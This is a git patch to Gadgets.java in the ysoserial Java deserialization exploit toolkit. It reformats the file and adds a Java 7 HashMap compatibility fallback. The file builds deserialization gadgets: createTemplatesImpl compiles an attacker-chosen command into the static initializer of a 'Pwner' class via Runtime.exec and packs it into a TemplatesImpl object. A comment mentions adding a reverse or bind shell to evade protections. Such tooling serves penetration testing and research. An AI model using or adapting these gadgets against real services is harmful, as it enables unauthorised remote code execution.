From b814712e19906bd6e4fea8d613b15eaad1025331 Mon Sep 17 00:00:00 2001 From: mbechler Date: Sun, 6 Mar 2016 18:53:39 +0100 Subject: [PATCH] Fix HashMap creation for java7. --- .../java/ysoserial/payloads/util/Gadgets.java | 139 ++++++++++-------- 1 file changed, 79 insertions(+), 60 deletions(-) diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java index 3994cb5..c21ba45 100644 --- a/src/main/java/ysoserial/payloads/util/Gadgets.java +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -1,5 +1,6 @@ package ysoserial.payloads.util; + import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; import java.io.Serializable; @@ -23,57 +24,68 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + /* * utility generator functions for common jdk-only gadgets */ -@SuppressWarnings({"restriction", "rawtypes", "unchecked"}) +@SuppressWarnings ( { + "restriction", "rawtypes", "unchecked" +} ) public class Gadgets { - static { - // special case for using TemplatesImpl gadgets with a SecurityManager enabled - System.setProperty(DESERIALIZE_TRANSLET, "true"); - } + static { + // special case for using TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); - public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + } - public static class StubTransletPayload extends AbstractTranslet implements Serializable { - private static final long serialVersionUID = -5971610431559700674L; + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; - public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} + public static class StubTransletPayload extends AbstractTranslet implements Serializable { - @Override - public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} - } + private static final long serialVersionUID = -5971610431559700674L; - // required to make TemplatesImpl happy - public static class Foo implements Serializable { - private static final long serialVersionUID = 8207363842866235160L; - } - public static T createMemoitizedProxy(final Map map, final Class iface, - final Class ... ifaces) throws Exception { - return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); - } + public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} - public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { - return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); - } - public static T createProxy(final InvocationHandler ih, final Class iface, final Class ... ifaces) { - final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); - allIfaces[0] = iface; - if (ifaces.length > 0) { - System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); - } - return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih)); - } + @Override + public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} + } + + // required to make TemplatesImpl happy + public static class Foo implements Serializable { + + private static final long serialVersionUID = 8207363842866235160L; + } + + + public static T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } + + + public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + + public static T createProxy ( final InvocationHandler ih, final Class iface, final Class... ifaces ) { + final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[ 0 ] = iface; + if ( ifaces.length > 0 ) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); + } + + + public static Map createMap ( final String key, final Object val ) { + final Map map = new HashMap(); + map.put(key, val); + return map; + } - public static Map createMap(final String key, final Object val) { - final Map map = new HashMap(); - map.put(key,val); - return map; - } - public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { @@ -87,42 +99,49 @@ public class Gadgets { return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); } - public static T createTemplatesImpl(final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { - final T templates = tplClass.newInstance(); - // use template gadget class - ClassPool pool = ClassPool.getDefault(); + public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) + throws Exception { + final T templates = tplClass.newInstance(); + + // use template gadget class + ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); - // run command in static initializer - // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections - clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); - // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) - clazz.setName("ysoserial.Pwner" + System.nanoTime()); - CtClass superC = pool.get(abstTranslet.getName()); + // run command in static initializer + // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); + // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) + clazz.setName("ysoserial.Pwner" + System.nanoTime()); + CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); - final byte[] classBytes = clazz.toBytecode(); + final byte[] classBytes = clazz.toBytecode(); - // inject class bytes into instance - Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { - classBytes, - ClassFiles.classAsBytes(Foo.class)}); + // inject class bytes into instance + Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { + classBytes, ClassFiles.classAsBytes(Foo.class) + }); + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "Pwnr"); + Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); + return templates; + } - // required to make TemplatesImpl happy - Reflections.setFieldValue(templates, "_name", "Pwnr"); - Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); - return templates; - } - public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { HashMap s = new HashMap(); Reflections.setFieldValue(s, "size", 2); - - Class nodeC = Class.forName("java.util.HashMap$Node"); + Class nodeC; + try { + nodeC = Class.forName("java.util.HashMap$Node"); + } + catch ( ClassNotFoundException e ) { + nodeC = Class.forName("java.util.HashMap$Entry"); + } Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);